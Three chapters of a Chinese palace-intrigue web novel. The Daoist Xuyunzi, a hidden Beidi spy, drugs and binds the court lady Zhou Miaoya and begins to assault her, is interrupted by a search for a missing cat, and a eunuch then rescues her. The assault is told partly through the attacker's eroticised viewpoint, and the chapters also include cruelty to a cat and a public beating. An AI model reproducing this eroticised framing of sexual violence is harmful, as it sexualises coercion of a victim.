girl!!!正式结盟! 第105章 周妙雅领旨, 自此便正式成为尚宫局正七品司记司司典,其直属上司正是孙女官,也就是尚宫局司记司正六品孙司记, 崔尚宫则是她顶头上级的直属上峰。 自此, 也就意味着周妙雅正式进入了六局二十四司的权力核心。 她其实看得比谁都分明, 冯尚仪与谢尚食那场闹剧,正是皇后亲手搭台,唱给魏琰看的。 皇后早就想将她收入麾下,却不愿让她一入宫门便成为众矢之的。 这次她侍疾有功,已然触犯了魏琰一党的逆鳞,若再明目张胆的将她调至尚宫局,便是将她推至风口浪尖。 借六尚局内讧, 尚宫局出面调停,顺水推舟, 既掩人耳目, 又不至于将她完全暴露在危险之中。 这是皇后思虑再三,想到的最好的法子。 周妙雅自然也知道,孙司记如今就是她的直属上司, 这一调,她与孙司记便能名正言顺地常来常往, 不必再避人耳目。 ———— “周妙雅…” 虚云子站在炼丹炉前,低声反复咀嚼着这个名字, 火光舔上他半边面庞,明昧交错, 映出眼底一片阴潮。 一个管笔墨书画这等闲物的女官,竟能识破北狄宫廷秘药逍遥散,生生搅了他精心布置的局。 原本该缠绵病榻至死的皇后, 如今竟能缓过气来。 该死! 他虚云子入宫以来便顺风顺水,陛下宠信,太妃倚重,连魏琰那老阉狗都得让他三分。 这还是头一回栽得这般狠,这般疼。 竟折在一个女人的手里。 若是这般传扬出去,那他这活神仙的面子,还往哪儿搁? 丹炉噼啪一声,爆出几簇火星。 虚云子盯着那跳跃的火光,眼底阴翳翻涌。 他倒要看看,这个周妙雅,究竟是个什么三头六臂的人物。 ———— 西苑 水榭,风自花渡,一岸海棠。 周妙雅侧坐阑干,教寿阳公主学苏州话。 “周司典,再讲一遍那句嘛。”寿阳公主手托香腮,眼睛亮晶晶的。 周妙雅微微向前倾身,声线柔软:“今朝天气蛮好个,意思是,今天天气很好。” 她的发音带着江南水乡特有的软糯,似春水淘过的糯米团子,入口轻含便化,听得叫人心里发酥。 虚云子隐在假山后,将半张脸没入阴翳,吴侬软语入耳,灼得他五内俱焚。 水榭中,说话的女子侧对着他,下颌线条清瘦优美,鼻梁挺秀,长长的睫毛低垂,柔得能掐出水来。 虚云子半眯起眼来,细细审视着她。 就是这个软软糯糯,柔柔弱弱的女官,破了他的逍遥散? 心中泛起一丝不屑,他正要移开视线,水榭里的周妙雅忽然微微侧过身,伸手去取旁边的茶盏。 那一瞬,她整张脸转了过来。 只那一瞬,假山后,虚云子的呼吸骤停。 宫中最不缺的就是美人,嫔妃争奇斗艳,宫女各有姿色,太妃身边那些莺莺燕燕,也都是千挑万选出来的。 然而却无一人,似眼前这般…美得令人窒息。 不是那种浓艳娇媚的美… 肌肤近乎白得发光,眉眼却黑得纯粹,鼻梁挺直,唇色淡雅,好似深山中一捧新雪,月色下孤枝寒梅,干净,清冽。 她斟了茶,双手奉与公主,唇角极轻地弯了一下。 那一弯笑意却叫假山后的虚云子喉头骤紧,似欲/火焚身。 寿阳公主附耳低语,不知说了句什么,周妙雅只轻轻摇头,又说了句苏州话。 那声音软得好似半融的糖糕,甜津入耳,叫人恨不得含在舌尖,一口生吞。 虚云子的目光黏在她脸上,已半寸都移不开。 心底那股因计划失败而燃起的怒火,不知何时竟变了味儿,烧得他喉干舌燥。 眼前女子那股子清冷又干净,柔弱又坚韧的劲儿,恰似枝头最高处的那朵梅花,明知风寒雪骤,却偏要傲然绽放。 直叫人想伸手去折。 狠狠地折下。 攥在掌心,揉得粉碎,看花瓣零落一地,看清冷碎成惊惶,将那一抹净白染上他的颜色。 想到这里,虚云子后退了半步,将自己整个人隐在了假山后面,背靠着冰凉的石壁,缓缓吐出一口浊气。 他闭上眼,脑海里全是周妙雅那张脸,她那截细白的手腕直叫人想要狠狠地抓紧,一寸寸揉红。 再睁开眼时,他眼底那点阴沉早已散得干干净净,只剩下眼底炽热的贪光,毫不遮掩。 好似饿狼看见了鲜肉… 他唇角轻轻拂过了一丝笑意… 这样的美人,合该是他的。 ———— 周妙雅毎旬至西苑授课两次,时辰与路线皆是固定的。 自上次安和郡主唆使两个太监谋害周妙雅,险些夺了她的性命,寿阳公主便再不敢大意,每次周妙雅来西苑上完课后,寿阳公主都会派心腹阿璃领数名内侍护送周妙雅出西苑。 如此一来,虚云子纵有恶念,也根本找不到下手的机会。 他暗中观察了几次,心中暗想着,如果不找个借口支开阿璃和那几个内侍,他便无法得手。 丹房里炉火哔剥,映得虚云子的脸色阴晴不定。 他盯着炉中跳跃的火苗,指尖无意识地摩挲着手中的拂尘。 看来硬来是不行了,需得换个法子。 他对着火炉沉思了片刻,忽然心生一计。 这日周妙雅正在水榭中教寿阳公主赏画,忽闻两个小内侍匆匆忙忙地跑了过来。 课业被扰,寿阳公主柳眉顿蹙,厉声喝道:“何事慌慌张张的?竟敢搅本公主课业!” 那两个小内侍战战兢兢的,小心回道:“回…回公主的话,雪团儿…是雪团儿…雪团儿不见了。” 雪团儿是寿阳公主养的小狸奴,平日里最是爱不释手。 她一听这话,霎时急红了眼:“雪团儿怎么会不见?还不派人去找!” 那两个小内侍忙跪下磕头:“奴才无能,已经派人将整个西苑都翻遍了,还是没能找到雪团儿。” 阿璃侍奉在旁,忙上前道:“公主息怒,奴婢这就亲自带人去找。” 说罢,她便带着平日里送周妙雅出西苑的那几个内侍,也加入了找雪团儿的队伍。 寿阳公主急的围着水榭来回疾走,周妙雅见状,忙上前安慰道:“公主莫急,雪团儿平日里最是乖巧,这么多人去找了,肯定会找到的。” 寿阳公主忙拉住她的手,泪光盈盈:“老师,今日发生意外,实在抱歉,雪团儿不见,我心中亦是焦急万分,需得亲自去瞧瞧,老师可愿稍候?” 周妙雅反握住她的手,柔声道:“公主且去,下官就在这水榭候着,不必挂怀。” 寿阳公主含泪点了点头,便提着裙慌忙地跑出了水榭。 水榭霎时安静了下来,此刻只剩周妙雅一人,她闲来无事,便拿起一本画册,倚栏细细品读了起来。 只不过须臾的功夫,一缕青烟悄然而至,周妙雅顿时觉得头重如铅,她抬手欲揉太阳穴,可手臂刚抬起来,刹那间,人已无声伏在了案上。 再醒来的时候,周妙雅没有立刻睁开眼睛。 嗅觉先于视觉有了反应,一丝若有若无的奇异藩香钻入鼻腔,愈发浓烈。 这味道…太熟悉了。 那日她与朱弘毅,顾凌云一同去鬼巷查找逍遥散的线索,被蒙了双眼,故而嗅觉格外灵敏,一路记下了沿途的味道,直到北狄大巫医的石室,那里面,燃烧的正是这同样的香料。 她对这味道记得格外清晰,绝对不会错。 周妙雅心中一凛,霎时警铃大作,她猛地睁开了双眼。 眼前薄绡轻纱低垂,红影暧昧,她躺在床的中央,手腕被粗糙的麻绳死死捆着,麻绳勒进细嫩的皮肉里,火辣辣地疼。 绳子的另一端被系在床柱上,双手被迫高举过头顶,姿势屈辱难挣。 脚踝亦被麻绳捆在一起,动弹不得。 嘴里被塞了一个粗布巾帕,想喊却只能发出含糊的呜咽声。 就在这时,她听到了脚步声由远及近,有人轻轻掀开了床边的纱帐。 一只粗糙的大手抚上了她的脸颊,引得她浑身一阵颤栗。 那手掌很厚实,带着练武之人特有的硬茧,指腹粗粝,在她细嫩的脸上缓缓地摩挲着。 周妙雅浑身瞬间僵住,寒栗顿起。 那手顺着她脸颊滑落,掠过脖颈,停在锁骨处。 指尖带着灼人的温度,烫得她皮肤一阵战栗。 她艰难地抬起头。 视线对上了一片赤/裸雄壮的胸膛。 肌肉虬结,皮肤黝黑,胸口还有一道陈年刀疤,斜斜划过左胸。 再往上,正对上虚云子含笑的双眸。 他已摘下莲花冠,长发沿着肩头披散下来,衬着原本俊朗的五官凭添了几分邪气。 他俯身盯着她看,唇角勾起一抹坏笑,眸中盈着毫不遮掩的欲/火。 周妙雅吓得浑身发抖,本能地蜷缩起来,奈何四肢被死死缚住,只能无助地弓着身子。 “醒了?”虚云子开口,声音因欲望而变得沙哑。 他俯下身,脸几乎贴到了她面前,灼热的呼吸喷在她脸上,带着浓烈的酒气。 “周司典…” 他伸出手指,轻轻拨开了她额前散乱的碎发:“别怕,贫道…会好好疼你的。” 周妙雅睁大了眼睛,拼命摇着头,喉咙里发出呜呜的抗拒声。 虚云子见状低笑,嗓音里透着近乎病/态的快意:“嗯?怎么?不愿意?” 说罢,他指尖顺势而下,勾住她衣襟的系带,只轻轻一挑… 系带倏然松落。 周妙雅瞳孔骤缩,浑身血液仿佛瞬间凝固。 她疯了一般地挣动着,手腕脚踝被麻绳磨出血痕,可那微末气力落在男 人眼中,不过是蜉蝣撼树。 “嘘…” 虚云子不耐地按住她乱挣的肩,低笑道:“别白费力气了,这绳子是军中捆俘虏用的死结,越挣扎越紧。” 他低下头,嘴唇几乎贴着她耳朵,呼出的热气让她浑身起了一层鸡皮疙瘩。 “周司典这身皮肉…真嫩。” 他声音压得极低,满口污言秽语,不堪入耳:“嫩得能掐出水来,莫不如省点力气,待会儿叫你**个够。” 周妙雅闭上眼,死死咬住嘴里的布条。 恶心,恐惧,屈辱…瞬间像潮水一样涌了上来,几乎要将她吞没。 然而就在这极致的恐惧之下,脑海中却思路清晰地闪过了一个念头。 虚云子那粗糙的大手…雄壮的胸肌…以及军中打的死结…还有那只有北狄大巫医才会用的异香。 她猛然想起,之前六尚局那些怀春的小女官们私下议论的话: “那道长生得俊朗,身材高大,一点都不像清癯飘逸的道士…” “倒像个武人出身…” 北狄人尚武,男子多高大健壮。 而大晟的道士,讲究清修,有几个能练出这一身虬扎的肌肉? 而逍遥散,亦是北狄宫廷秘药,先前只出现在济慈堂与文府,康靖瑶伏法后便销声匿迹。 然而自虚云子入宫炼丹,此毒再次出现,且被用到了劝谏皇帝勿耽丹药,当归朝堂的皇后身上。 时机之巧,令人脊背生寒。 周妙雅猛地睁开眼,死死盯着眼前这张脸。 莲花冠,道袍,拂尘…皆是伪装。 道士? 呸! 分明就是北狄人!北狄派来的奸细! 虚云子察觉到了她眼神的变化,挑眉轻嗤:“怎么?想通了?” 说罢,他伸手,指尖一挑,欲拨开她半敞的衣襟。 就在这将触未触的瞬间,周妙雅蓦地咬紧牙关,用尽全身力气,将头往后一仰,狠狠撞向床柱。 额角瞬间便见了血,鲜红的血液沿着鬓角流淌下来,染红了周妙雅苍白的脸颊。 虚云子见状,瞬间笑了,笑意愈发残忍:“性子倒是还挺烈。” 他伸手沾上她额角流下的鲜血,缓缓抹在她唇瓣上。 猩红的血渍在她苍白的唇上晕开,像雪地里绽开的红梅,妖异又刺目。 虚云子俯身低语,声音中透出病态的亢奋:“性子越烈,摆弄起来…才越够滋味。”—— 作者有话说:虚云子这活脱脱一个低配版的文毓瑾…… 文毓瑾:摩拳擦掌准备作妖ing 第106章 虚云子粗糙的大掌沿着周妙雅的雪颈缓缓下滑, 瞬息间,便扼住了她那细白的天鹅颈,迫使她昂着头迎视他。 滚烫鼻息随之覆下, 就在双唇将触未触之际, 丹房里突然传来一声幽细的猫叫声。 虚云子的动作猛地顿住。 周妙雅被掐得眼前发黑, 雪白的脖颈上被掐出一道红印,濒死的窒息混着男人的汗味与丹砂气,一股脑地涌了上来,恶心得她胃里翻江倒海。 “喵…” 又是一声猫叫,清清晰晰,自丹房外间传来。 虚云子眉峰骤锁。 雪团儿? 不可能! 他明明派了两个心腹,用布袋装了那只白猫, 将它扔进了西苑东北角那口废弃的深井。 井口盖着石板,井壁长满青苔, 那猫就算命大没摔死, 也绝不可能自己爬上来。 这才过去多久? 他缓缓直起身,掌中力道顿松,将手从周妙雅的颈间收了回来。 周妙雅趁势蜷向床里, 腕上麻绳却扯成死结,反倒勒得更深, 皮肉生疼,徒劳而已。 虚云子侧耳听着外头的动静。 “喵喵…” 猫叫声时断时续, 忽远忽近。 他面色骤沉,若是雪团儿真的跑了回来, 那事情就麻烦了。 寿阳公主为了找猫,必定会把整个西苑翻个底朝天。 他正思量着,外面突然传来一阵喧哗声。 杂乱的脚步声由远及近, 听着人数不少。 虚云子眼神骤冷,他松开按着周妙雅的手,起身下了床。 周妙雅瘫在床褥里,颈间一片刺目的红痕。她拼命蜷缩身体,手腕在头顶死命扭动,麻绳却越勒越深,磨破了皮,血渗出来,浸湿了绳结。 虚云子看都没看她,他翻身下床,道服早散开了,露出精壮的胸肌,他随手将衣襟一拢,赤脚踩在地上,快步朝外间走去。 周妙雅屏住呼吸,眼睛盯着他的背影。 屏风外传来翻找的动静。 是虚云子在找猫。 周妙雅听见柜门开合的声音,丹炉旁的药柜被拉开,虚云子低声咒骂了一句什么。 他在丹房转了一圈,什么都没有发现,可外面的吵嚷声却越来越近。 他快步走到窗边,将窗纸捅开一个小洞向外看去。 丹房外的空地上,已经围了十几号人。 为首的是寿阳公主身边那个叫阿璃的宫女,她身后跟着七八名内侍,还有几个粗使婆子,人人手中都提着明角灯,将院子照得亮如白昼。 “方才猫叫声就是从这边传来的!” “丹房,快搜搜丹房!” 脚步声已经到门口了。 虚云子疾步折返回了内室。 周妙雅浑身一僵,整个人缩在床角,手脚被缚,嘴里塞着布巾,只能发出细微的呜咽声。 虚云子的脸上再没了之前的慵懒从容,眼底翻涌着冰冷的戾气。他几步跨到床前,一把抓住她的胳膊,力道大得几乎要捏碎她的骨头。 “听着。” 他压低声音,语气冰冷:“想活命,就闭嘴。” 说罢,他从袖中翻出一把匕首。 就在匕首寒光闪现的瞬间,周妙雅瞳孔骤缩,身体本能地向后缩。 虚云子俯身,一手按住她的手腕,另一手持匕首,刀刃贴着麻绳用力一割… 绳子应声而断。 手腕上一松,剧痛后知后觉地涌了上来。她还没喘匀气,脚踝上的绳子也被割开。虚云子扯掉她嘴里的布巾,将她从床上拽了起来。 她双腿发软,混着剧痛,根本站不住。 虚云子索性将她整个人扛了起来,快步走到内室后墙,那里立着个不起眼的木柜,他单手推开柜子,露出后面一扇窄门。 门开了条缝,夜风灌进来,带着草木的湿气。 他将她放在门外廊下,声音压得极低,语气中带着威胁:“走,今夜之事你若敢向外人提起一句,贫道自有千百种方法,将你折磨致死。” 说罢,他立即关上后门,将木柜推回原位,快步走回了丹房,在丹炉前的蒲团上盘膝坐下。 他闭上眼睛,气沉丹田,调整呼吸。 敲门声恰在这时响起。 “虚云子道长?道长可歇下了?” 是阿璃的声音。 虚云子没立刻应声。 他等了几息,才缓缓睁开眼睛,脸上露出被惊扰的不悦。 而后他起身,缓步至门前,拉开了门。 外头火光晃眼,阿璃提着明角灯站在最前面,身后一群人探头探脑的。 虚云子打了个哈欠,抬手挡了挡光:“何事喧哗?” 阿璃忙福身道:“惊扰道长了,公主最心爱的狸奴雪团儿走丢了,方才有人听见这丹房附近有猫叫声,奴婢们便过来寻寻。” 虚云子微微蹙眉:“猫?” 他侧身让开门口:“贫道一直在打坐,不曾听见什么猫叫。” 阿璃顺势探头,朝丹房内张望而去。 须臾,她低声央求道:“道长…可否容奴婢进去瞧一眼?万一雪团儿溜进丹房…” 虚云子的脸色骤冷。 他挡在门口,不悦道:“这丹房是陛下钦赐的炼丹重地,里头供着三清神像,摆着丹炉药材,莫说是一只猫,便是寻常宫人,没有陛下旨意也不得擅入。” “少拿皇兄压人!” 寿阳公主从人群后走了出来,她盯着虚云子,怒道:“道长,雪团儿是本宫的命根子,它若是在你这丹房里出了什么事,惊扰的恐怕就不止是三清神仙了。” 说罢,她顿了顿,一字一句道:“是你自己让开,还是让本公主去请皇兄的旨意?” 虚云子低叹了一声,侧身让开,垂首揖道:“贫道岂敢,公主爱猫心切,贫道理解,诸位请进,只脚步放轻些,莫要惊扰了三清座前的香火。” 寿阳公主白了他一眼,向身后众人摆摆手,身后人得令,顷刻涌入丹房,前厅后殿顿时人满为患。 丹房本就不大,外间是丹炉 和药柜,里间用屏风隔着,隐约能看见床榻的轮廓。 寿阳公主提着明角灯,仔细在丹炉周围寻找。 “雪团儿?雪团儿?” 她轻声唤着。 一片寂静。 阿璃看向虚云子,他负手立在门边,脸上没什么表情,只有烛火在他眼底跳动,明明灭灭。 寿阳公主直起身,正要往屏风后走去… 就在这时,丹炉底座后面传来一声细微的猫叫声:“喵。”。 寿阳公主眼前一亮,忙弯下腰,将明角灯凑近。 角落里,雪团儿蜷成一团,碧绿的眼睛在灯光映照下幽幽发亮,正怯生生地望着她。 “找着了!”寿阳公主喜形于色,众内侍忙围拢了过来。 她小心将猫抱出,雪团儿满身灰屑,却无伤痕,只在她臂弯里轻轻发抖。 “找着了!”阿璃也松了口气。 寿阳公主抱着猫,转身看向虚云子。 虚云子垂下眼,揖了一礼:“恭喜公主。” 寿阳公主没说话,只是盯着他看了片刻,然后抱着猫,转身朝门外走去。 “走。” 一群人呼啦啦跟着她退出了丹房。 ———— 周妙雅瘫坐在丹房后门的回廊下,后背抵着冰冷的廊柱。 四周漆黑一片,夜风卷着草木的湿气,吹在她裸露的脖颈上,激起一阵阵寒栗。 她浑身都在抖。 手腕被麻绳勒出的伤火辣辣地疼,脚踝处更是传来阵阵钻心的刺痛,血黏在罗袜上,毎动一下都如针扎般疼痛。 原来北狄人在军中就是用这样的手段来折磨大晟俘虏的。 越挣扎,麻绳勒得越深,直至磨穿皮肉。 她咬着牙,尝试撑着廊柱慢慢地站起来,无奈双腿软得厉害,膝盖打着颤,几乎撑不住身体的重量。 她试着往前迈了一步,脚踝处的伤口猛地一抽,她倒吸一口凉气,额上瞬间渗出冷汗。 虚云子随时都有可能反悔,公主的人也可能会绕到后面来,她必须离开这里,离开西苑,离开这个满是阴谋和血腥的地方。 她扶着墙,沿着回廊踉跄地往前挪动着。 脚踝疼得发麻,几乎失去了知觉。 她停下脚步,靠在墙上大口大口地喘气,冷汗顺着鬓角滑落下来,混着额角的血,滴在衣襟上。 就在这时,回廊拐角处传来了轻微的脚步声。 周妙雅浑身一僵。 她抬起头,只见黑暗中,一道人影从拐角处钻了出来。 是个穿着藏蓝色贴里的内侍,他的面容隐在暗处,只身形轮廓在夜色中模糊成一团。 周妙雅心脏骤停,本能地想要张口尖叫,喉间却似塞了物,只挤出一声短促抽气。 她转身欲逃,脚踝的伤却疼得迈不开步。 就在这时,那内侍已走到了她的面前。 “周司典别怕。”那内侍嗓音压得极低,带着太监特有的尖细。 周妙雅瞳孔骤缩,本能地向后一缩。 只见那内侍抬起手,却并非来抓她,而是轻轻捂住了她的嘴,掌心干燥,带着皂角的清气。 “奴才不是坏人。” 那内侍低声说道,另一只手则扶住了她的胳膊:“奴才带您出去。” 周妙雅站在原地,僵立着不动。 她凝视着眼前这张脸,光线太暗,五官模糊,她看不清那内侍的长相。 但她打心底不信这西苑除了公主,还有其他对她心存善意的好人。 虚云子刚说过那样的话,转头就冒出个内侍说要带她走,这太像陷阱了。 可她又能怎么办? 脚踝疼得站不住,身上都是伤,连走回六尚局的力气都没有。 若这内侍真是虚云子的人,此刻直接将她拖回去便是,何必多此一举? 她死死咬着下唇,指甲深深掐进了掌心。 那内侍也不催她,只是静静地扶着她的胳膊,耐心等待着。 远处又隐隐约约传来一阵人声,似乎朝这边过来了。 周妙雅浑身一颤。 她闭上眼睛,深吸了一口气,然后朝那内侍点了点头。 那内侍松开捂着她嘴的手,搀着她转身朝另一个方向走去。 他没有走回廊,而是带着她拐进一条更窄的小径,小径两旁都是茂密的灌木丛,枝叶刮过衣摆,发出沙沙的声响。 周妙雅忍着疼,几乎将全身的重量都压在了那内侍的身上。 小径蜿蜒,绕过几处殿宇,越走越偏。 四周渐渐安静了下来,此刻连远处的人声都听不见了,只剩下风吹过树叶的沙沙声。 他们不知走了多久,直至前方出现了一间暖阁。 阁中透出昏黄的灯光,隐隐约约还能听见此起彼伏的猫叫声。 那内侍扶着她走到暖阁门前,轻轻推开一道门缝。 周妙雅霎时便愣住了。 暖阁里点着几盏明角灯,光线柔和。 地上铺着厚厚的绒毯,靠墙摆着一排排竹编的猫窝,里面蜷着大大小小十几只猫,有白的,有花的,有狸纹的,有的在睡觉,有的在互相舔毛,还有几只小的正追着一团线球玩耍。 “这里是…”周妙雅喃喃问道。 那内侍扶着她进去,轻轻关上了门。 “回周司典,这里是皇家猫苑。” 那内侍躬身笑道:“奴才来福,没别的能耐,只会养猫,故而被魏公公留在这儿,照看这些宫里贵人们养的猫主子。” 来福? 周妙雅瞳孔微缩。 这个名字…她听过。 脑海中迅速回闪着关于这个名字的记忆。 那日她知道了自己是周承山的女儿,情绪崩溃,朱弘毅带她去了瀚海楼底层的一间密室。 在密室中,朱弘毅给她讲了自己五岁那年,因迷上说书先生口中的辽东金戈铁马,听闻周家军回京,一个人偷偷跑去了京郊大营。 而陪他去城东望北楼听书,又匆忙赶往京郊大营寻人的太监,就叫来福。 想到这里,她猛地抬起头,仔细看向眼前的内侍。 “你是…”周妙雅的声音有些发颤。 来福笑了笑,转身走到暖阁角落,那里摆着一个小木柜,他打开柜门,取出一个漆木药箱,又拿出一只青瓷小罐。 “周司典先上药吧。” 他将药罐递了过来:“这是太医院特制的金疮药,止血生肌,效果不错。” 周妙雅并未抬手去接,只盯着来福,一字一句地问道:“你是宁王殿下的旧仆?” 来福捧着药罐,脸上仍挂着温和的笑意。 他摇了摇头,只轻声道: “奴才是魏公公的干儿子。”—— 作者有话说:啊啊啊啊啊虚云子比文毓瑾还是恶劣多了,他不仅是QJF,还虐猫!!!不能忍!!! 第107章 雪团儿是来福救的, 他在这宫中养了近二十年的猫,对每一只猫的习性都了如指掌。 雪团儿最是好动,他早在西苑那口枯井中设了网子, 就怕有哪天雪团儿乱跑, 不小心掉到枯井中出不来了。 然而当他看见虚云子的两个手下将雪团儿投入枯井中的时候, 他内心怒火中烧, 决定将雪团儿救出之后,故意放回丹房,报复虚云子,让虚云子害怕。 当然这些事情,来福都没有告诉周妙雅。 猫苑温暖的灯光下,来福小心翼翼地帮周妙雅上药包扎。 金疮药洒在伤口上, 冰冰凉凉的,起初有些刺痛, 随即便化成温热的麻意。 来福用干净的纱布将周妙雅的手腕, 脚踝一圈圈地缠好,一如他平日里照顾小猫一样,细致认真。 周妙雅试着动了动手腕, 虽然还疼,却少了先前的火辣辣的撕裂感, 至少能动了。 她长舒了一口气。 给周妙雅包扎完,来福收拾好药箱, 走到屋内角落处的炭盆前,提壶烧水。 水沸后, 他倒了一碗,又兑了少许凉水,水温正好。 “周司典, 喝点水吧。”他将碗递了过来。 周妙雅接过,慢慢喝了两口。 温水滑过喉咙,带着些许甘甜。 她这才觉得口干舌燥,又连饮了数口,转瞬碗中清水已见底。 来福捧过空碗,不再出声,只侧身坐回小凳上,目光静静地落在了她的身上。 此刻猫苑暖阁内极静,只有小猫喵喵叫的声音。 那些猫似乎不怕生,有几只胆子大的已经凑了过来,围着周妙雅嗅来嗅去。 一只黄白相间的小奶猫最是大胆,伸出粉嫩的小爪子,轻轻碰了碰她的裙摆。 周妙雅低下头去。 小奶猫仰起小脸儿,碧蓝眼珠圆溜溜的,好像透亮的琉璃,毛茸茸的身子只有巴掌大小,尾巴翘得老高,冲着她细声细气地叫了一声:“喵…” 声音又软又糯的,听着让人心都化了。 周妙雅朝它笑了笑,轻轻伸出一只手指。 小奶猫立刻用脑袋蹭了蹭她的指尖,绒毛柔软,暖暖和和的。 周妙雅缓缓俯身,伸手将小奶猫抱进了怀里。 那猫小小的,像个绒球儿,把小脑袋缩进她的臂弯里,热乎乎的一团。 不一会儿,它又伸出舌头,舔了舔她的手指,舌头上有细细的倒刺,刮在皮肤上,痒痒的。 另一只狸花猫也凑过来,卧在她脚边,喉咙里发出咕噜咕噜的声音。 她又俯身摸了摸狸花猫的脑袋,狸花猫舒服地眯起眼,蹭着她的手心。 来福看着她逗猫,脸上露出温和的笑意。 “这只黄白的才两个月大。” 他笑着解释道:“是雪团儿的姐姐生的,一窝四只,就数它最调皮。” 周妙雅低头看着怀里的小猫。 那小绒球儿在她掌心里打滚,露出柔软的肚皮,四只小爪子在空中乱抓,玩得不亦乐乎。 今日在丹房受的所有屈辱,竟被眼前这些毛绒绒的小家伙们,奇迹般的舔平治愈了。 来福又提壶,给她倒了一碗水,继而又说道: “猫苑虽然偏僻,但还算安全,周司典若需要,可以在这儿多歇会儿。” 周妙雅轻轻摇了摇头。 窗外天色已然全黑,只余远处宫禁处几盏宫灯,透着朦朦胧胧昏黄的光。 “我得回去了。” 她轻声对来福说:“夜禁前,我需要回到六尚局。” 来福没有再挽留她,反而转身,从柜子中取出了一件半旧的青色斗篷,递给了周妙雅: “夜里风大,周司典披上吧,您身上有伤,不能再受寒了。” 周妙雅接过斗篷,十分感激:“多谢来福公公。” 小奶猫仍蜷在她怀里,软哒哒的小爪子扒着她的衣袖肯不放。 周妙雅轻轻抱起小猫,将它放回了窝里,小猫喵呜呜叫了两声表示抗议,转眼便钻进兄弟姐妹堆里,又蜷成绒球呼呼大睡去了。 她旋即起身,将斗篷披在了身上,将带子系好。那斗篷又大又暖,显得她整个人小小的。 脚踝上的伤仍隐隐作痛,但敷了金疮药,已经不耽误她慢慢走动了。 来福在一旁看着她,见她已能缓步挪动,便轻声道:“奴才送您去猫苑门口。” 周妙雅点了点头。 夜风很凉,周妙雅下意识拢紧斗篷,将脖颈上的红痕遮住。 来福拔开门闩,猫苑外头是一条狭窄的宫道,此刻空荡无人。 来福给她指了个方向:“从这儿往东,再过两道门便是六尚局,路上若有人问,您就说去西苑找公主,回来晚了。” 周妙雅轻轻颔首。 她扶着门框,抬步正要离去,忽又停了下来,回首望向来福。 来福仍微躬背脊,笑意温和地看着她。 “来福公公。” 周妙雅开口,声音发涩:“今日之事…” 她顿了顿,微微垂下头,耳尖儿泛着薄红,不知道是冻的,还是心事难掩。 来福静静地等她说完。 周妙雅深吸一气,抬起水亮亮的眸子:“今日之事,可否…不要告诉王爷?” 夜风从两人之间掠过,卷起几片落叶。 来福面上的笑意未变,半晌,只听他轻声说道:“周司典多虑了。” “奴才是魏公公的干儿子。” ———— 朱弘毅奉旨面圣,在还未踏进午门时,正撞见文毓瑾与虚云子并肩而出。 两人步履徐缓,文毓瑾侧首含笑,低声言语,虚云子微微颔首,灰青道服映着暮色,冷光浮动。 抬眼看见朱弘毅带着长安,文毓瑾顿时停下脚步,他唇角拂过一丝笑意,眼底如凝了层冰霜。 虚云子亦抬眼,道冠下冷静的目光平平扫来,在朱弘毅面上停了一瞬。 朱弘毅步履未停,径自前行。 两拨人于午门前的空地上狭路相逢。 “宁王殿下。”文毓瑾抢先开口。 朱弘毅停下脚步,余光瞥了他一眼:“文修撰。” 文毓瑾上前半步,将朱弘毅上下打量了一番,唇角勾起一抹讥诮:“听说宁王殿下最近清闲得紧,也是,对心上人掏心掏肺,却被那水性杨花的女子一脚踢开,怎能不闲?” 朱弘毅听罢这话,面上波澜未惊。 文毓瑾见他不卑不亢,便又往前凑了半步,故意挑衅道:“周妙雅那轻浮浪荡的贱货,昔日在文家时便不安分,如今攀了高枝,转头就把殿下踹了,堂堂宁王,被这么个女人耍得团团转,活得像个小丑,倒也不嫌丢人现眼。” 他说罢,便死盯着朱弘毅,想在那张毫无波澜的脸上寻出一道裂缝。 朱弘毅连眉毛都未动一下,倒是文毓瑾身边的虚云子,喉结忽然剧烈地滚动了一下。 他听到了周妙雅三个字… 眼前霎时浮现出那张漂亮而清丽的脸,那女人如同被折断的傲雪寒梅,被他死死压在身下,激烈地扭/动着,手腕脖颈被他折磨得泛红。 小腹瞬间腾起燥热的火焰,混着北狄人骨子里暴虐的冲动,烧得他五脏六腑发麻。 虚云子深吸了一口气,努力压下了眼底溢出的那点波动。 就在这时,朱弘毅忽然笑了,既非冷笑,亦非怒笑,而是极其轻蔑的笑。 他眼风扫过虚云子,虚云子顿时感觉脊背生寒。 随即,他看向文毓瑾,声音不高,却自带威严:“文修撰,虚云子道长山野粗鄙,不通规矩,倒是情有可原,可你,你可是百年文脉嫡长孙,两榜进士,圣上钦点的状元郎,你也不知道,这是哪吗?” 文毓瑾眉峰一挑,嗤笑道:“这里不是午门吗?怎么,宁王殿下连午门都不认得了?” 朱弘毅笑意更深,声音却愈发冷淡:“文修撰博学,那本王便考考你,正统十四年,午门,可曾发生过何事?” 文毓瑾唇角瞬间僵住,瞳孔骤缩,哑口无声。 午门血案… 群臣激愤,当庭活活锤死锦衣卫都指挥使马顺,血溅丹墀,尸横殿前,当时监国的郕王朱祁钰就在眼前看着。 后因于谦谏言王振有罪当诛,马顺死有余辜,当时所有动手的人,便都没有受罚。 文毓瑾瞬间喉咙发干,他下意识往后退了半步,往虚云子身后躲去。 “朱弘毅!” 文毓瑾嗓音发紧,仍强撑着喝道:“你还敢动手打人不成?这里可是皇城!天子脚下!” 朱弘毅的笑意更深:“文修撰,直呼亲王名讳,罪加一等。” 文毓瑾的脸色霎时间刷地惨白。 朱弘毅不再容他,直接冷声令下:“长安,按住文修撰。” 长安箭步上前。 文毓瑾惊得踉跄着后退,整个人几乎要缩进虚云子的背后,声音已骤然变调:“君子动口不动手!朱弘毅!你疯了?” 他话音未落,长安的手已经伸了过来,死死扣住他肩头。 虚云子想挡一下,他抬手将道服的袖口一拂,想格开长安的手。 长安压根儿不想理他,手腕一翻,绕过道服,直接扣住了文毓瑾的肩膀。 文毓瑾只觉肩骨剧痛,整个人就被硬生生地拽了出来。 他挣扎着,可奈何他一介书生,长安力气又大,钳得他分毫难动。 他被拖得踉跄着走了两步 ,长安随即抬腿一踹,文毓瑾整个人飞了出去,重重摔在地上,摔了个狗啃屎。 午门外广场上地砖冷硬,文毓瑾摔得两眼冒金星,还没等他爬起来,长安已经单膝压了上来,一只手扣住他后颈,把他死死按在了地上。 守门的侍卫见是宁王教训人,又亲耳听到是文毓瑾挑衅在先,便不敢上前阻拦,只悄悄遣人去通风报信,寻能镇得住场面的主事过来。 文毓瑾的脸贴着冰冷的地砖,嘴里尝到了血腥味。 他拼命挣扎,可长安的膝盖压着他的背,压得他喘不过气。 “放开…放开我!天子脚下,尔等竟敢戕害朝廷命官!” 朱弘毅缓步走了过来,轻笑道:“你?也配叫冤?” 